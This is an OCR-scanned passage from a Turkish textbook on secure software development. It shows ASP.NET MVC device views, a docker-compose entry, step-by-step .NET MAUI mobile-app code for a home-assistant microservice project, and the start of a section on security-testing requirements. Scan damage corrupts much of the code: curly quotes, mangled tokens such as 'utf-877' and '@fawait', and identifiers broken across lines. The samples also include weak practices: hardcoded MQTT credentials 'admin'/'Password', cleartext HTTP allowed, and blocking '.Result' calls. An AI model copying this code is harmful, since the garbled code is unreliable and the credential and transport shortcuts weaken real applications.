if (id != device.Id) return NotFound();

var userId = Convert.ToInt32(User.FindFirstValue(ClaimTypes.NameIdenti-

if (device.UserId != userId)
ModelState.AddModelError(string.Empty, “Yetkisiz islem.”);
if (ModelState.IsValid)

{
try
{
var result = await _deviceService.DeleteDeviceAsync(device.Id);
if (result.IsSuccessStatusCode)
{
return RedirectToAction(nameof(Index));
}
}
catch (Exception ex)
{
return View(ex);
}
}

return View(device.Id);
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@model IEnumerable<DeviceViewModel>

ef

ViewData[“Title”] = “Cihazlar”;
}
<hl>Cihazlar</hl>

<a asp-action="Create”>Cihaz Ekle</a>
<table class="table table-bordered table-responsive table-hover”>
<tr>
<th>Cihaz Adi</th>
<th>Cihaz Kodu</th>

<th>Islemler</th>
</tr>
@foreach (var device in Model)
{
<tr>
<td>@Html.DisplayFor(deviceItem =>device.DeviceName)</td>
<td>@Html.DisplayFor(deviceItem =>device.DeviceCode)</td>
<td>
<a asp-action="Edit” asp-route-id="@device.Id”>Diizenle</a> |
<a asp-action="Details” asp-route-id="@device.Id”>Ayraintilar</a> |
<a asp-action="Delete” asp-route-id="@device.Id”>Sil</a>
</td>
</tr>
}
</table>

@model DeviceViewModel

ef

ViewData[“Title”] = “Cihazlar”;

<hl>Cihazlar</h1>
<hr />
<div class="row”>

<div class="col-md-4”>
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<form asp—action="Create” asp-antiforgery="true”>
<div asp-validation-summary="ModelOnly” class="text-danger”></div>
<div class="form-group”>
<label asp-for="DeviceName” class="control-label”></label>
<input asp-for="DeviceName” class="form-control” />
<span asp-validation-for="DeviceName” class="text-danger”></span>
</div>
<div class="form-group”>
<label asp-for="DeviceCode” class="control-label”></label>
<input asp-for="DeviceCode” class="form-control” />
<span asp-validation—for="DeviceCode” class="text-danger”></span>
</div>
<br />
<div class="form-group”>
<input type="submit” value="Ekle” class="btn btn-primary” />
</div>
</form>
</div>
</div>

@model EAWebUI.Models.DeviceViewModel

ef
ViewData[«“Title”] = “Edit”;

<hl>Edit</h1>
<hy>DeviceViewModel</ht>
<hr />
<div class="row”>
<div class="col-md-4”>
<form asp—-action="Edit”>
<div asp-validation-summary="ModelOnly” class="text-danger”></div>
<input type=”hidden” asp-for="Id”/>
<div class="form-group”>
<label asp-for="DeviceName” class="control-label”></label>
<input asp-for="DeviceName” class="form-control” />
<span asp-validation-for="DeviceName” class="text-danger”></span>

</div>
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<div class="form-group”>

<label asp-for="DeviceCode” class="control-label”></label>

<input asp-for="DeviceCode” class="form-control” />

<span asp-validation-for="DeviceCode” class="text-danger”></span>
</div>
<div class="form-group”>

<label asp-for="UserId” class="control-label”></label>

<input asp-for="UserId” class="form-control” />

<span asp-validation-for="UserId” class="text-danger”></span>
</div>
<div class="form-group”>

<label asp-for="Id” class=”control-label”></label>

<input asp-for="Id” class="form-control” />

<span asp-validation-for="Id” class="text-danger”></span>
</div>
<div class="form-group”>

<input type=”submit” value="kaydet” class="btn btn-primary” />

</div>
</form>
</div>
</div>
<div>

<a asp-action="Index”>Listeye geri ddon</a>

</div>

@section Scripts {
@fawait Html.RenderPartialAsync(“_ValidationScriptsPartial”);}

@model EAWebUI.Models.DeviceViewModel

@f

ViewData[“Title”] = “Edit”;
}
<h1>Edit</h1>

<h4>Cihaz Durumu</hu>

<hr />

<div class="row”>
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<div class="col-md-4”>
@Html.DisplayFor(deviceItem =>Model.DeviceName)
@ViewBag.Temperature
</div>
</div>
<div>
<a asp-action="Index”>Listeye geri don</a>

</div>

@section Scripts {
@f{await Html.RenderPartialAsync(“_ValidationScriptsPartial”);}

@model EAWebUI.Models.DeviceViewModel

e

ViewData[“Title”] = “Delete?”;
}
<h1>Sil</h1>

<h3>Cihazi silmek istediginize emin misiniz?</h3>
<div>
<hu>DeviceViewModel</hu>
<hr />
<dl class="row”>
<dt class = “col-sm-2”>
@Html.DisplayNameFor(model => model.DeviceName)
</dt>
<dd class = “col-sm-10">
@Html.DisplayFor(model => model.DeviceName)
</dd>
<dt class = “col-sm-2”>
@Html.DisplayNameFor(model => model.DeviceCode)
</dt>
<dd class = “col-sm-10">
@Html.DisplayFor(model => model.DeviceCode)
</dd>
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<dt class = “col-sm-2">
@Html.DisplayNameFor(model => model.Id)
</dt>
<dd class = “col-sm-107>
@Html.DisplayFor(model => model.Id)
</dd>
</dl>

<form asp—action="Delete” >
<input type=”hidden” asp-for="Id” />
<input type=”submit” value=7Sil” class=”btn btn-danger” /> |
<a asp-action="Index”>Listeye geri ddon</a>

</form>

</div>

' 23. Adim: Projeye Docker Compose konteyner yoneticisi destegi ekleyiniz.

! 24 Adim: Docker-compose.yml dosyasinda gerekli diizenlemeleri yapiniz.

eawebui:
container_name: ea-web-ui
image: ${DOCKER_REGISTRY-}eawebui
build:
context:
dockerfile: EAWebUI/Dockerfile
networks:
- frontnet
ports:
- 9002:80
environment:
- MQTT_BROKER=mqttbroker:9001//mqtt
— MQTT_USER=admin

— MQTT_PASSWORD=Password

3.3.7. Mobil Uygulama

.NET MAUI (Multi-platform App Ul), Microsoft tarafindan gelistirilen bir teknoloji ve platformdur.
MAUI, ayni kod tabanini kullanarak farkl platformlarda (i0S, Android, Windows, macOS gibi) calisabilen
kullanici araytizi (Ul) uygulamalari olusturmayi hedefler. Boylelikle mikroservis mimarisinde kullanicinin
islemlerini bir mobil cihaz araciligiyla yapmasini saglar.
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UYGULAMA

> Mikroservis yapisini kullanan mobil uygulamayi verilen adimlar dogrultusunda
gerceklestiriniz.

'1 Adim: Ev Asistani ¢6zUmu igindeki Ul klasériine MobilUl adinda yeni bir .Net MAUI App projesi :
| olusturunuz (Gorsel 3.19). )

O ps
Add a new prOJeCt Search for templates (Alt+S) P~ Clear all
Recent project templates < v Allplatforms ~ i MAUI v
NET MAUI App -
&5 NET MAUI A C# “ i : L . : -
“ PP A project for creating a .NET MAUI application for i10S, Android, Mac Catalyst, WinUI
and Tizen
c# Andraid Qs Mac Catalyst macOS MAUI Tizen
Windows
“ MET MAUI Blazor Hybrid App
A project for creating a .NET MAUI application for i0S, Android, Mac Catalyst, WinUl,
and Tizen using Blazor Hybrid
c# Andraid Blazor Blazor Hybrid i0s Mac Catalyst macOSs
MAUI Tizen Windows
“ NET MAUI Class Library
A project for creating a .NET MAUI class library
c# Andraid Qs Mac Catalyst macOS MAUI Tizen
Windows
Not finding what you're looking for? -
Next

Gorsel 3.19: .NET MAUI App projesi olusturma penceresi

'2 Adim: Cozim gezgini lzerinde sag tik yaparak Configure Startup Projects komutuna ‘nklaylnlz:
| (Gorsel 3.20). 1

Add >

sync Namespaces

@ Configure Startup Projects...

Gorsel 3.20: Configure Startup Projects komutu
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'3 Adim: Acilan pencerede Docker-compose ve MobilUl projelerini baslatacak sekilde ayarlama'
- 1yapiniz (Gorsel 3.21). )

! Solution 'EvAsistan® Property Pages ? X

Configuration:  N/A Platform:  N/A Configuration Manager...
|
| | 4 Common Properties (0 Current selection
Startup Project ; i
Single startup project
Project Dependencies Osing P proJ
Code Analysis Settings docker-compose

Debug Source Files

I> Configuration Properties © Multiple startup projects:

Project Action 4R

E ApiGateway | MNone -~ |

I AuthenticationWebApi | None b |

i ConsoleAppT | None h |
DeviceServiceWebApi | None ¥ |
docker-compose | Start ~ |
EAWebUI ' None “|
JwtAuthenticationManager | MNone ) |
MobilUl Start ~
UserServiceWebApi None i

Iptal Uygula

Gorsel 3.21: Ev Asistani ¢6zUm sayfasi

'4 Adim: Mobil uygulamayi, Visual Studio programinda Android Emulators ile galisacak §ek|Ide:
| ayarIaylnlz (Gorsel 3.22). )

EEER> ¢-50- B @ > seeasttpten. - o9 [ D A WD QO
P Start
Solution Explorer
Web Browser (Microsoft Edge »
i 8- a8
Framewaork (net8.0-windows10.0.19041.0) 4 5 & 5 i =
| Android Emulators » “ Pixel 3a API 33 (Android 13.0 - API 33) ]I
105 Local Devices » b [ ApiGeteway
i05 Remote Devices b b BEloT
i0S Simulators ] P B3 Microservices
% Configure Startup Projects.. b ERU
P AuthenticationWebApi
Ep Android Device Manager... ?ﬁ P
P & docker-compose

Gorsel 3.22: Mobil uygulama emiilatoér ayarlama komutu
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Andiraid Emulator - Picel_3a_API_33:5554

Home
Hello, World!

Welcome to
NET Multi-platform App Ul

Gorsel 3.23: Mobil uygulama

' 6. Adim: ViewModels adinda yeni bir klasor olusturunuz.

! 7 Adim: ViewModels klasori icine JwtTokenResponseVm.cs adinda yeni bir sinif olusturunuz.

public class JwtTokenResponseVm

{
public string UserId { get; set; }
public int ExpiresIn { get; set; }
public string JwtToken { get; set; }
}

public partial class DeviceViewModel : ObservableObject
{
[ObservableProperty]

private string _deviceName;

[ObservableProperty]
private string _deviceCode;

[ObservableProperty]

private int? _userld;

[ObservableProperty]

private int _id;

[ObservableProperty]

private string _temperature;
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public partial class LoginPageViewlModel: ObservableObject

i
private readonly IUserService _userService;
[ObservableProperty] private string _userName;
[ObservableProperty] private string _password;
public LoginPageViewModel(IUserService userService)
{
_userService = userService;
}
[RelayCommand]
private async Task Login()
{
var result = await _userService.Login(UserName, Password);
if (result != null)
{
await Shell.Current.GoToAsync($”//{nameof(DevicesPage)}”);
3
return;
}
}

public partial class DevicesPageViewModel: ObservableObject

{
private readonly IDeviceService _deviceService;
[ObservableProperty] private IEnumerable<DeviceViewModel>? _devices;
[ObservableProperty] private int? _selectedDevice;

public DevicesPageViewModel(IDeviceService deviceService)
{
_deviceService = deviceService;

var userId = Task.Run(async () => await SecureStorage.Default.GetAsyn-
c(“userId”)).Result;

if (userId == null)
{
}

Devices = _deviceService.GetAllDevicesByUserIdAsync(userId).Result;
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' 11. Adim: Views adinda yeni bir klasor olusturunuz.

! 12 Adim: Views klasorii icine LoginPage.xaml adinda yeni bir Content Page olusturunuz.

<?xml version="1.0" encoding="utf-877>

<ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui”
xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml”
x:Class="MobilUI.Views.LoginPage”

xmlns:viewModels="using:MobilUI.ViewModels” x:DataType="viewModels:-
LoginPageViewModel”>

<Grid>
<StackLayout Margin="20">

<StackLayout Margin="20">
<Label FontSize=7”32” Text="Ev Asistani”/>

</StackLayout>

<StackLayout>
<Label FontSize="16” Text=”Kullanici Adi:”></Label>
<Grid Margin="0,57">
<Frame Opacity="0.3” BackgroundColor="White” CornerRadius="5"/>

<Entry Text="{Binding UserName}” />

</Grid>

</StackLayout>

<StackLayout>
<Label FontSize=”16” Text=”Parola:”></Label>
<Grid Margin="0,57">
<Frame Opacity="0.3” BackgroundColor="White” CornerRadius="5"/>

<Entry Text=”{Binding Password}” IsPassword="True” Backgroun-
dColor="Transparent” Placeholder="Parola”/>

</Grid>
</StackLayout>

<Button x:Name="LoginButton” Text="Giris yap” Command=?{Binding
LoginCommand}?>/>

</StackLayout>
</Grid>
</ContentPage>

public partial class LoginPage : ContentPage

{
public LoginPage(LoginPageViewModel viewModel)
{
InitializeComponent();
this.BindingContext = viewModel;
}
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<?xml version="1.0" encoding="utf-877>

<ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui”
xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml”
x:Class="MobilUI.Views.DevicesPage”
xmlns:viewModels="clr-namespace:MobilUI.ViewModels;assembly=MobilUI”

xmlns:models="clr-namespace:MobilUI.Models” x:DataType="viewModels:-
DevicesPageViewModel”>

<StackLayout>

<Label Text="Cihazlar” FontSize=”Large” HorizontalOptions=”CenterAndEx-
pand” Margin=70,20,0,10”/>

<ListView ItemsSource=”{Binding Devices}”
SelectedItem="{Binding SelectedDevice}”
HasUnevenRows="true”>
<ListView.ItemTemplate>
<DataTemplate>

<TextCell Text="{Binding DeviceName}” Detail=”{Binding Devi-
ceCode}” x:DataType="models:DeviceViewModel” />

</DataTemplate>
</ListView.ItemTemplate>
</ListView>
</StackLayout>
</ContentPage>

public partial class DevicesPage : ContentPage

i
public DevicesPage()
{
InitializeComponent();
BindingContext = new DevicesPageViewModel(new DeviceService());
}
}

' 16. Adim: Services adinda yeni bir klasor olusturunuz.

! 17 Adim: Services klasori icine IUserService.cs adinda yeni bir arayiz ekleyiniz.

public interface IUserService

{

Task<JwtTokenResponseVm?> Login(string username, string password);
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public class UserService : IUserService
i
public static string BaseAddress =

DeviceInfo.Platform == DevicePlatform.Android ? “http://10.0.2.2:80” :
“http://localhost:807;

public static string LoginUrl = $”{BaseAddress}/api/login?”;
private readonly HttpClient _client;

public UserService()

{
_client = new HttpClient();
_client.DefaultRequestHeaders.Accept.Clear();

_client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeader-
Value(“application/json”));

}

public async Task<JwtTokenResponseVm?> Login(string username, string pas-
sword)

{
var user = new
{
UserName = username,
Password = password,
3

var response = await _client.PostAsJsonAsync(LoginUrl,user);

if (await response.Content.ReadFromJsonAsync<JwtTokenResponseVm>() is not
{ } tokenResponse ||

string.IsNullOrEmpty(tokenResponse.JwtToken))

_await Shell.Current.DisplayAlert(“Hata”, “Hatali kullanici adi veya
parola”, “Iptal”);

return null;

await SecureStorage.Default.SetAsync(“jwt”, tokenResponse.JwtToken);
await SecureStorage.Default.SetAsync(“userId”, tokenResponse.UserId);

return tokenResponse;
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public interface IDeviceService
i
Task<DeviceViewModel?> GetDeviceAsync(string id);

Task<IEnumerable<DeviceViewModel>?> GetAllDevicesByUserIdAsync(string use-
rIid);

public class DeviceService : IDeviceService
{
public static string BaseAddress =

DeviceInfo.Platform == DevicePlatform.Android ? “http://10.0.2.2:80” :
“http://localhost:807;

public static string DeviceUrl = $”{BaseAddress}/api/Devices/”;
public static string UserDevicesUrl = $”{BaseAddress}/api/Devices/user/”;

private readonly HttpClient _client;

public DeviceService()
{
_client = new HttpClient();
_client.DefaultRequestHeaders.Accept.Clear();
_client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeader-
Value(“application/json”));
// Asenkron yapiyi cgagir.

var jwt = Task.Run(async () => await SecureStorage.Default.GetAsyn-
c(«“jwt”?)) .Result;

if (jwt != null)
{
_client.DefaultRequestHeaders.Add(“Authorization”, “Bearer “ + jwt);
}
else

{

// JWT bulunamadi, uygun bir hata isleme stratejisi uygulayin veya
istegi reddedin.

}
}
public async Task<DeviceViewModel?> GetDeviceAsync(string id)

{

var response = await _client.GetFromJsonAsync<DeviceViewModel>(DeviceUrl
+ id);

return response;
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public async Task<IEnumerable<DeviceViewModel>?> GetAllDevicesByUserIdAsyn-—
c(string userId)

{

var response = Task.Run(async () => await _client.GetFromJsonAsync<IEnu-
merable<DeviceViewModel>>(UserDevicesUrl + userId)).Result;

return response;

public static MauiApp CreateMauiApp()
{
var builder = MauiApp.CreateBuilder();
builder
.UseMauiApp<App>()
.ConfigureFonts(fonts =>
{
fonts.AddFont(“OpenSans-Regular.ttf”, “OpenSansRegular”);
fonts.AddFont(“OpenSans-Semibold.ttf”, “OpenSansSemibold”);
B
builder.Services.AddSingleton<LoginPage>();
builder.Services.AddSingleton<DevicesPage>();
builder.Services.AddSingleton<LoginPageViewModel>();
builder.Services.AddSingleton<DevicesPageViewModel>();
builder.Services.AddSingleton<IUserService, Services.UserService>();

builder.Services.AddSingleton<IDeviceService, DeviceService>();

#if DEBUG

builder.Logging.AddDebug();
#endif

return builder.Build();

<?xml version="1.0" encoding="UTF-8” 7>

<Shell
x:Class="MobilUI.AppShell”
xmlns="http://schemas.microsoft.com/dotnet/2021/maui”
xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml”

xmlns:local="clr-namespace:MobilUI”
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xmlns:views="clr-namespace:MobilUI.Views?”
xmlns:models="clr-namespace:MobilUI.Models”
Shell.FlyoutBehavior="Disabled”
Title="MobilUI”>

<ShellContent
Title="Giris sayfasi”
ContentTemplate="{DataTemplate views:LoginPage}”
Route=”LoginPage” />

<ShellContent
Title="Cihazlar”
ContentTemplate="{DataTemplate views:DevicesPage}”

Route=”"DevicesPage”/>
</Shell>

' 22. Adim: Platforms/Android/Resources klasoru icine xml adinda bir klasor olusturunuz.

! 23 Adim: xml kladsru icine network_security _config.xml adinda bir dosya olusturunuz.

<?xml version="1.0” encoding="utf-8”7?>
<network-security-config>
<domain-config cleartextTraffcPermitted="true”>
<domain includeSubdomains="true”>10.0.2.2</domain> <!-- Debug port —->
<domain includeSubdomains="true”>xamarin.com</domain>
</domain-config>

</network-security-config>

<?xml version="1.0" encoding="utf-877>
<manifest xmlns:android="http://schemas.android.com/apk/res/android”>

<application android:networkSecurityConfig="@xml/network_security_config”
android:allowBackup="true” android:icon="@mipmap/appicon” android:roundIcon="@
mipmap/appicon_round” android:supportsRtl="true”></application>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE” />
<uses-permission android:name="android.permission.INTERNET” />

</manifest>




=

YAZILIM GUVENLIGI

Ev Asistani mikroservislerini kullanan mobil uygulama igin cihaz ekleme komutlarini ve sayflarini
gelistiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati iginde tamamlayiniz.

KONTROL LISTESI
DEGERLENDIRME OLCUTLERI EVET HAYIR

1. Cihaz mikroservisini kullanan IDeviceService araylziine cihaz ekleme
kod basligini ekledi.

2. DeviceService servisine cihaz ekleme kodlarini yazdi.

3. Cihaz ekleme kodlarinda girdi denetimi yapt.

4. Cihaz ekleme sayfasi icin ViewModel dosyasi olusturdu.

5. AddDeviceViewModel icine DeviceService kullanarak cihaz ekleme
komutunu olusturdu.

6. AddDevicePage adinda cihaz ekleme sayfasini olusturdu.

7. Cihaz ekleme sayfasina ViewModel’i bagladi.

8. Calismayi verilen slirede tamamladi.

9. Eksik oldugu olcitleri tamamladi.

3.4. YAZILIM TESTLERI

Bir sistemin, belirli gereksinimleri yerine getirip getirmedigini dogrulamak veya istenen sonuglar
ile beklenen sonuglar arasindaki farklari degerlendirmek icin manuel yahut otomatik yontemler
kullanilarak deneme yapilan siirece test denir. Yazilim testi ise bir yazilimin, cesitli calisma kosullarini
kapsayacak sekilde segilmis testler araciligiyla istenen davranislari dogrulamak igin dinamik bir sekilde
gerceklestirilen dogrulama faaliyetlerini icerir. Glivenli yazihm testi; bir yazilimin givenlik aciklarini,
zayIf noktalarini ve potansiyel tehditleri tanimlamak, bu tehditlere karsi savunmasizliklari tespit etmek
ve bu sorunlari ¢6zmek amaciyla gerceklestirilen bir test sirecidir. Bu tir testler; yazimin yeteneklerini,
kullanilabilirligini ve glivenilirligini artirmak igin glivenlik agiklarini tespit etme ve diizeltme islemini
icerir.

3.4.1. Yazihm Giivenligi Testlerinde Giivenlik isterleri

Yazilim gelistirme siireci devam ederken SDLC asamalarinda glivenlik 6nlemlerinin alinabilmesi icin bazi
bilgilerin test uzmanlari tarafindan temin edilmesi gerekir. Bu bilgiler, yaziim glvenligi testlerindeki
glvenlik isterlerini ifade eder. Yazilim giivenligi testlerindeki glivenlik isterleri sunlardir:

1. Test ve iiretim (production) icin mimari ¢izim belgelerinin hazir olmasi, yazilim givenliginin etkili
bir sekilde saglanabilmesi igin test uzmanlarina sunulan 6nemli belgelerdir. Bu belgeler sunlardir:

e Mimari Tasarim Aciklamalari: Yazilmin hangi bilesenlerden olustugunu, bu bilesenlerin
nasil bir araya geldigini ve islevlerini ayrintil bir sekilde agiklayan belgelerdir. Mimari tasarim
actklamalari, yazilimin hangi teknolojileri kullandigini ve bu teknolojilerin nasil bir araya geldigini
belirtir.
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e Veri Akis Diyagramlari: Verilerin nereden geldigini, nasil islendigini ve nereye gittigini gosteren
belgelerdir. Bu belgeler, veri glivenligi agisindan dnemlidir ¢linkl verilerin nasil islendigi ve
korundugu akis diyagramlari ile anlasilir.

e Ag Mimarisi Aciklamalari: Yazilimin ag yapisini agiklayan belgelerdir. Bu belgeler, hangi
sunucularin ve ag protokollerinin kullanildigi, giivenlik duvarlarinin nasil yapilandirildigi gibi
bilgileri icerir.

e Giivenlik Tasarimi: Yazilimin glivenligiicin alinan dnlemleri ayrintili olarak acgiklayan belgelerdir.
Bu belgeler; kimlik dogrulama, yetkilendirme, veri sifreleme, glvenlik agiklarina karsi koruma
gibi guivenlik 6nlemlerinin nasil uygulandigini anlatir.

e Sistem Bagimhliliklari: Yazilimin diger sistemlerle nasil etkilesimde bulundugunu gosteren
belgelerdir. Bu belgeler, yazilimin glvenlik agisindan disa agik alanlarini tanimlamak igin
Onemlidir.

Test ve Uretim icin mimari ¢izim belgeleri, yazilimin glvenligini degerlendirmek ve olasi glivenlik
aciklarini tespit etmek amaciyla test ekiplerine rehberlik eder. Givenli yazihm gelistirme siirecinde
bu belgelerin olusturulmasi ve giincel tutulmasi, testler sirasinda beklenen davranislari ve giivenlik
kontrollerini anlamak icin 6nemlidir.

2. Test ve iiretim ortamindaki tiim sunuculara ait ana bilgisayar adi, IP ve isletim sistemi bilgilerine
sahip olma, bir organizasyonun sahip oldugu veya kullandigl sunucularin tespit edilmesi ve
belgelenmesi anlamina gelir. Bu 6zellikler sunlardir:

e Hostname (Ana Bilgisayar Adi): Her sunucunun agdaki benzersiz adidir. Bu ad, sunucunun
agdaki diger cihazlarla iletisim kurmasini saglar. Yaziim giivenligi testleri icin her sunucunun
hostname’i belgelenir. Boylece hangi sunucunun hangi amacla kullanildigi anlasilr.

¢ |P (Internet Protocol) Adresi: Her sunucunun agda benzersiz bir IP adresi vardir. IP adresleri,
internet tzerindeki cihazlarin tanimlanmasini saglar. Sunucularin IP adresleri, yaziim givenligi
testleri sirasinda erisim, baglant tespiti gibi amaglar icin dnemlidir.

e isletim Sistemi Bilgileri: Her sunucunun hangi isletim sistemini kullandigina dair bilgileri igerir.
Sunucunun glvenligi acisindan isletim sistemi tirl (6rnegin Windows, Linux, macOS vb.),
sirim numarasi, glincellemeler gibi detaylar olduk¢a 6nemlidir. Farkli isletim sistemleri, farkl
zayif noktalar icin farkli givenlik 6nlemleri gerektirebilir.

Test ve Uretim ortamindaki tiim sunuculara ait ana bilgisayar adi, IP ve isletim sistemi bilgilerine
sahip olma; bilgilerin belgelenmesi, ag Uzerindeki sunucularin izlenmesi, givenlik aciklarinin tespiti,
yamalarin uygulanmasi gibi 6nemli glivenlik islemlerinin ylrtttlmesini saglar. Glvenli yazilim gelistirme
strecinde yazilimin hangi sunucularla etkilesimde oldugunun anlasilmasini, bu bilgilerin glivenliginin
testler sirasinda dogru bir sekilde belgelenmesini ve uygun giivenlik 6nlemlerinin alinmasini saglar.

3. Test ve iliretim uygulama arayiiz adresi ve bu arayiiz lizerinde giivenlik testlerinin yapilabilecegi
gecici bir normal kullanici ile admin kullanici bilgileri, yazihm glvenligi testlerinin yapilacagi
yazilmin test ve Uretim (production) ortamlarinin ayrintilari ile bu testlerin gerceklestirilecegi
kullanici hesaplarini iceren gereksinimleri ifade eder. Bu gereksinimler sunlardir:

e Test ve Uretim Uygulama Arayiiz Adresi: Giivenlik testlerinin gerceklestirilecegi yazilimin web
veya uygulama tabanh kullanici araylziiniin internet lizerindeki adresini belirtir. Bu adres,
glvenlik testlerinin uygulamanin kullanici arabirimi lizerinde gergeklestirilecegi yerdir. Testler,
burada yapilarak uygulamanin giivenlik agiklari ve zayif noktalari tespit edilir.
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e Gegcici Normal Kullanici ve Admin Kullanici Bilgileri: Glvenlik testleri icin kullanilacak gegici
kullanici hesaplarinin ayrintilari verilir. Bu hesaplar, uygulamanin normal kullanicilarini temsil
eden hesaplari ve yonetici (admin) erisimi olan hesaplari icerebilir. Bu hesaplar, glvenlik
testleri sirasinda uygulamanin farkl yetkilendirme seviyeleri ve kullanici rollerini test etmek
icin kullantlir.

Yazilimin glivenligini test etmek isteyen glivenlik profesyonelleri veya test ekipleri, test ve lretim
uygulama arayiz adresi ve bu araylz Uzerinde glivenlik testlerinin yapilabilecegi gecici bir normal
kullanici ile admin kullanici bilgilerini kullanarak canli ortamda veya test ortaminda uygulamayi test
edebilir. Bu islem, uygulamanin glivenligi agisindan kritik bir adimdir ¢linki gercek diinya kosullarinda
uygulamanin nasil davrandigini ve potansiyel glivenlik sorunlarini daha iyi anlamak igin bu tir testler
gereklidir. Bu hesaplar ayni zamanda test sonugclarini belgelemek ve testlerin sonuglarini raporlamak
icin kullantlir.

4. Test ve liretim veri tabanina ait detayl bilgiler (tnsnames bilgileri, IP, hostname, port vb.),
yazilim glivenligi testlerinin gerceklestirilecegi veri tabanlari hakkinda ayrintih bilgileri belirtir.
Bu gereksinim, veri tabaniyla ilgili 6nemli bilgilere erisim saglar ve glivenlik testlerinin bu veri
tabanlari tizerinde dogru bir sekilde ylrtttlmesine yardimci olur. Bu gereksinimin icerigini ayrintili
olarak agiklayan noktalar sunlardir:

e Tnsnames Bilgileri: TNS (Transparent Network Substrate) bilgileri, Oracle veri tabanlari igin
kullanilan bir tur yapilandirma dosyasidir. Bu bilgiler, Oracle veri tabanina erisim saglayan
uygulamalarin hangi veri tabanlarina ve sunuculara baglanmasi gerektigini tanimlar. Bu dosya,
veri tabani baglantilari icin gerekli olan adres bilgilerini igerir.

e |P Adresi: Veritabani sunucusunun IP adresini belirtir. IP adresi, veri tabanina erisim icin gerekli
olan ag adresini saglar.

e Hostname: Veri tabani sunucusunun ana bilgisayar adini igerir. Hostname, agdaki sunucunun
benzersiz adini tanimlar.

e Port Numarasi: Veri tabanina erisim icin kullanilan port numarasini belirtir. Port numarasi, veri
tabanina yonlendirilen veri trafiginin hangi baglanti noktasini kullanacagini gosterir.

Test ve Uretim veri tabanina ait detayli bilgiler (tnsnames bilgileri, IP, hostname, port vb.), yazihm
glvenligi testlerinin veri tabani bilesenleri tzerinde yapilabilmesi icin temel gereksinimleri tanimlar.
Veri tabanlari genellikle yazilim uygulamalari icin 6nemlidir. Veri tabanlarina erisim ve glivenlik testleri
dogru sekilde yapilmadiginda bu durum ciddi giivenlik sorunlarina yol acgabilir. Bu bilgiler; giivenlik
testlerini planlama, veri tabanlarina erisim saglama ve test sonuglarini analiz etme sirecini kolaylastirir.
Ayrica testler sirasinda veri tabaninin giivenlik agiklarini tespit etmek ve gidermek igin gereklidir.

5. Uygulama lizerinde yogun olarak kullanilan 6rnek 10 islem listesi, yaziimin glivenligi test
edilirken o6zellikle dikkate alinmasi gereken ve kullanicilar tarafindan sik¢a kullanilan islemleri
iceren gereksinimleri ifade eder. Bu gereksinimler, yazilim glivenligi testlerinin odak noktalarini
ve test kapsamini belirlemeye yardimci olur. Bu gereksinimler su sekilde detaylandirilabilir:

e Yogun Olarak Kullanilan islemler: Yaziimin kullanicilar tarafindan en sik kullanilan islemlerini
iceren bir liste olusturmayi amaclar. Bu islemler, uygulamanin temel islevselligini temsil eder.

e Ornek islem Listesi: Yazilimin gergek diinya senaryolarinda nasil kullanildigini yansitan listedir.
Ornek islem listesi; kullanicilarin uygulamada sikga yapabilecegi kullanici oturumu agma, veri
arama, yeni kayit olusturma, mevcut kayitlari diizenleme, dosya yikleme, iletisim formu gonderme
gibi eylemleri icerebilir.

e Onem Sirasi: islemler 6ncelik sirasina gére siralanmalidir. Bdylece test ekipleri hangi islemlere
oncelik verilmesi gerektigini belirleyebilir.
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Uygulama lzerinde yogun olarak kullanilan 6rnek 10 islem listesi, yazilim glivenligi testlerini planlama
ve kaynaklarini ydnlendirme agisindan énemlidir ¢clinkd kullanicilar tarafindan sikga kullanilan islemler,
yaziimin en savunmasiz ve potansiyel glivenlik risklerinin en yiksek oldugu alanlari temsil eder. Bu
islemler, glvenlik testlerinin odaklanmasi gereken yerlerdir. Test ekipleri; bu islemleri hedefleyerek
glvenlik aciklarini tespit etme, yetkilendirme hatalarini bulma ve kullanici girisi gibi glivenlik risklerini
degerlendirme firsatina sahip olur.

6.

Uygulama loglarinin tutuldugu ortam bilgisi, uygulamanin loglarinin nerede ve nasil saklandigina
dair ayrintil bilgi verilmesini ister. Bu gereksinim su sekilde detaylandirilabilir:

Uygulama Loglari: Uygulamanin isleyisi sirasinda olusturulan log dosyalarini igerir. Loglar;
uygulamanin hangi islemleri gerceklestirdigini, kullanici etkilesimlerini, hata durumlarini ve diger
onemli olaylari kaydetmek icin kullanilir.

Tutuldugu Ortam: Hangi ortamda (environment) uygulama loglarinin saklandigini belirtir. Bu
genellikle test ortami (development veya QA), canli ortam veya her ikisi icin ayri ayri belirtilebilir.

Saklama Yeri: Loglarin fiziksel veya sanal olarak nerede saklandigini belirler. Bunun igin bir sunucu
Uzerindeki belirli bir dizin veya bulut tabanl bir depolama hizmeti tercih edilebilir.

Saklama Siiresi: Loglarin ne kadar siireyle saklandigini agiklar. Genellikle glivenlik gereksinimleri,
yasal diizenlemeler ve sirket politikalarina bagh olarak belirlenir.

Erisim Kontrolleri: Kimlerin loglara erisebilecegini ve bu erisimi nasil elde edebilecegini belirtir.
Bu, loglara sadece yetkili kisilerin erisim saglamasini ve glivenligi artirmayi amaclar.

Log Formati: Loglarin hangi formatta kaydedildigini aciklar. Genellikle log dosyalari; metin, JSON,
XML veya 6zel bir format kullanir.

Uygulama loglarinin tutuldugu ortam bilgisi, yazilim glivenligi testleri sirasinda kullanilir ¢linkii uygulama
loglari; glivenlik olaylarinin izlenmesi, tehditlerin tespit edilmesi, givenlik saldirilarinin tespiti, hata
ayiklama gibi 6nemli islevleri destekler. Glvenlik testlerinin bir parcasi olan loglari analiz edip olasi
glvenlik ihlallerini ve anormallikleri tespit etmek mimkindur.

7.

Ornek uygulama logu, yazilim giivenligi testlerinde kullanilacak uygulama loglarindan bir érnegi
veya ornek bir log dosyasini ifade eder. Bu gereksinim, yazilim giivenligi testlerinin bir pargasi
olarak kullanicilarin veya test ekiplerinin uygulamanin loglarini analiz ve test etmeleri igin bir
ornek log dosyasinin saglanmasini talep eder. Bu gereksinimin detaylari sunlardir:

